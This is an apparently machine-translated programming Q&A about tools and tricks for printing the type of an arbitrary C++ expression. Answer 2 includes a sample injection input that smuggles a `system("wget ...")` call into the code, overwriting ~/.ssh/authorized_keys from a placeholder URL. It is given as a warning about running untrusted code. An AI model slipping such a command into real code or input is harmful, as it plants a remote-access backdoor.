Question

我有兴趣编写一个用于教学目的的工具，用于评估C ++表达式并打印其类型。从本质上讲，我的想法是我的学生可以输入任何表达式，程序会回显表达式的类型。是否有现有工具已经这样做了？如果没有，通过与现有编译器集成并调用其调试器或API，是否有一种非常简单的方法可以实现？例如，有人告诉我，Clang有一个相当完整的编译器API，也许有一些方法可以将一个字符串与相应的include指令一起传递给Clang并让它吐出一个类型？

我意识到如果今天没有什么可以接近的话，这可能是一个巨大的项目。我只是觉得它具有重要的教育价值，所以看起来值得一试。

Answer 1

我想出了一个受Ben Voigt评论启发的答案。只需制作一个错误，让编译器告诉你导致它的类型：

template <typename T> void foo(T); // No definition

int main() {
  foo(1 + 3.0);
}

Result:

In function `main':
prog.cpp:(.text+0x13): undefined reference to `void foo<double>(double)'

此外，由于您只执行编译器，因此您非常安全。真的，不需要沙箱。如果除了“void foo<T>(T)未定义的引用”之外的任何其他内容，它就不是表达式。

[edit]你会如何将它放入工具中？简单，用宏的

// TestHarness.cpp
// Slight variation to make it a compile error
template <typename T> void foo(T) { typename T::bar t = T::bar ; }

int main() {
  foo(EXPR);
}

现在使用$(CC) /D=(EXPR) TestHarness.cpp进行编译。每次都可以避免重建输入文件。

Answer 2

在MSalter's improvement上进一步改进：

class X {
  template <typename T> static void foo(T) {}
};

int main() {
  X::foo( $user_code );
}

结果（使用$user_code = "1 + 3.0"）：

prog.cpp: In function ‘int main()’:
prog.cpp:2: error: ‘static void X::foo(T) [with T = double]’ is private
prog.cpp:6: error: within this context

这避免了链接步骤。

原始答案：

C ++有typeid个关键字。从概念上讲，您只需将用户的表达式粘贴到某些样板文件中，如：

extern "C" int puts(const char *s);
#include <typeinfo>

int main(void)
{
    const type_info& the_type = typeid( $user_code );
    puts(the_type.name());
}

然后将该源文件传递给编译器，并运行它以获得答案。

实际上，要避免运行恶意代码会很困难。您需要使用某种类型的沙箱。或者非常小心确保没有不匹配的括号（你确实知道什么是三字母，对吗？）。

是的我知道typeid的论点没有被评估。但请$usercode为1); system("wget -O ~/.ssh/authorized_keys some_url"！

更好的选择是避免运行程序。使用框架（需要C ++ 11），如：

extern "C" decltype( $user_code )* the_value = 0;

您可以使用生成调试数据的选项运行编译器，然后使用例如一个dwarf2阅读器库，获取与the_value相关的符号类型信息，然后删除一级指针。

Answer 3

这是使用__PRETTY_FUNCTION__在GCC和Clang中执行此操作的一种方法：

#include <iostream>
#include <iterator>
#include <cstring>
#include <string_view>
#include <vector>

template<typename T>
static constexpr auto type_name() noexcept {
    // __PRETTY_FUNCTION__ means "$FUNCTION_SIGNATURE [with T = $TYPE]"
    const auto * const begin = std::strchr(__PRETTY_FUNCTION__, '=') + 2; // +2 to skip "= "
    const auto size = static_cast<std::string_view::size_type>(std::cend(__PRETTY_FUNCTION__) - begin - 2); // -2 meaning up to "]\0"
    return std::string_view{ begin, size };
}


template <typename T1, typename T2>
class my_class { }; // Example Class

int main() {
    my_class<int&, std::vector<double>> my_arr[20];
    std::cout << type_name<decltype(my_arr)>();
}

Output on GCC：

my_class<int&, std::vector<double> > [20]

Answer 4

我对编写用于教学目的的工具感兴趣，该工具可以评估C ++表达式并打印其类型。本质上，我的想法是我的学生可以键入任何表达式，并且程序将回显表达式的类型。是否有一个已有的工具已经在执行此操作？

这些天，有一种这样的工具-在线。但是，它只会做您不希望的产品。我说的是Matt Godbolt的Compiler Explorer。

您的“程序”将如下所示：

#define EXPRESSION 123

template <typename T> class the_type_of_EXPRESSION_IS_ { };
using bar = typename the_type_of_EXPRESSION_IS_<decltype(EXPRESSION)>::_;

现在，如果将123替换为C ++表达式，则会在编译器错误消息部分中get如下：

<source>:4:72: error: '_' in 'class the_type_of_EXPRESSION_is_<int>' does not name a type

    4 | using bar = typename the_type_of_EXPRESSION_IS_<decltype(EXPRESSION)>::_;

      |                                                                        ^

Compiler returned: 1

第一行有您想要的类型，在尖括号中。

打印任意C ++表达式的类型

4 个答案: